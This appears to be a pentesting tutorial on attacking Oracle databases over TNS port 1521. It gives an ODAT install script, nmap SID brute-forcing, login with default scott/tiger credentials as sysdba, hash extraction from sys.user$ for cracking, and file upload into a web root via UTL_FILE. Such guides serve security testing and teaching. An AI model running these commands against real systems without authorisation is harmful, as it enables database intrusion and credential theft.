Oracle TNS
Oracle Transparent Network Substrate (TNS) is a communication protocol designed for secure interaction between Oracle databases and applications over networks. It supports various networking protocols, such as IPX/SPX and TCP/IP, making it a preferred choice for industries like healthcare, finance, and retail. which work on port 1521
🔹 Key Features:
✅ Built-in encryption for securing transmitted data
✅ Efficient database communication management
✅ Ideal for enterprise environments requiring high security
How Does TNS Secure Data?
TNS adds an extra security layer over TCP/IP, making it harder for attackers to intercept or manipulate data in transit.
Installing Oracle Pentesting Tools
This Bash script installs tools for enumerating and attacking Oracle databases:
#!/bin/bash
sudo apt-get install libaio1 python3-dev alien -y
git clone <https://github.com/quentinhardy/odat.git>
cd odat/
git submodule init
git submodule update
wget <https://download.oracle.com/otn_software/linux/instantclient/2112000/instantclient-basic-linux.x64-21.12.0.0.0dbru.zip>
unzip instantclient-basic-linux.x64-21.12.0.0.0dbru.zip
wget <https://download.oracle.com/otn_software/linux/instantclient/2112000/instantclient-sqlplus-linux.x64-21.12.0.0.0dbru.zip>
unzip instantclient-sqlplus-linux.x64-21.12.0.0.0dbru.zip
export LD_LIBRARY_PATH=instantclient_21_12:$LD_LIBRARY_PATH
export PATH=$LD_LIBRARY_PATH:$PATH
pip3 install cx_Oracle
sudo apt-get install python3-scapy -y
sudo pip3 install colorlog termcolor passlib python-libnmap
sudo apt-get install build-essential libgmp-dev -y
pip3 install pycryptodome
✅ What this script does:
1️⃣ Installs required dependencies (libaio1, python3-dev, alien)
2️⃣ Clones ODAT tool from GitHub
3️⃣ Downloads and sets up Oracle Instant Client
4️⃣ Installs cx_Oracle Python library for database interaction
5️⃣ Installs additional penetration testing tools (scapy, passlib, pycryptodome)
ODAT (Oracle Database Attacking Tool) is an open-source penetration testing tool designed for:
Oracle database enumeration
Exploiting SQL Injection & RCE vulnerabilities
Privilege Escalation
Oracle Database Penetration Testing with ODAT & Nmap
1️⃣ Understanding Oracle TNS and SIDs
TNS (Transparent Network Substrate): A protocol used for Oracle database communication.
SID (System Identifier): A unique name for a database instance. Clients use it to connect to the correct database.
2️⃣ Scanning Oracle Services with Nmap
Check if the Oracle TNS Listener (default port 1521) is open:
sudo nmap -p1521 -sV <target-IP> --open
Bruteforce the SID using Nmap’s
oracle-sid-brute
script:sudo nmap -p1521 -sV <target-IP> --open --script oracle-sid-brute
3️⃣ Installing and Using ODAT for Enumeration
Install ODAT on a Kali-based system:
sudo apt-get install libaio1 python3-dev alien -y
git clone <https://github.com/quentinhardy/odat.git>
cd odat/
git submodule init && git submodule update
pip3 install cx_Oracle pycryptodome
Run ODAT to enumerate database components:
./odat.py all -s <target-IP>
This can retrieve database names, versions, user accounts, and misconfigurations.
4️⃣ Cracking Oracle Credentials
If ODAT finds valid credentials (e.g., scott/tiger
), log in with SQL*Plus:
sqlplus scott/tiger@<target-IP>/XE
Check user privileges:
SELECT * FROM user_role_privs;
If the user has SYSDBA privileges, escalate access:
sqlplus scott/tiger@<target-IP>/XE as sysdba
5️⃣ Extracting Password Hashes for Offline Cracking
SELECT name, password FROM sys.user$;
Hashes can be cracked using John the Ripper or Hashcat.
6️⃣ Exploiting File Upload via UTL_FILE
If UTL_FILE is enabled, attackers can upload files to the server:
echo "Oracle File Upload Test" > testing.txt
./odat.py utlfile -s <target-IP> -d XE -U scott -P tiger --sysdba --putFile C:\\\\inetpub\\\\wwwroot testing.txt ./testing.txt
Verify the file upload:
curl -X GET http://<target-IP>/testing.txt
Last updated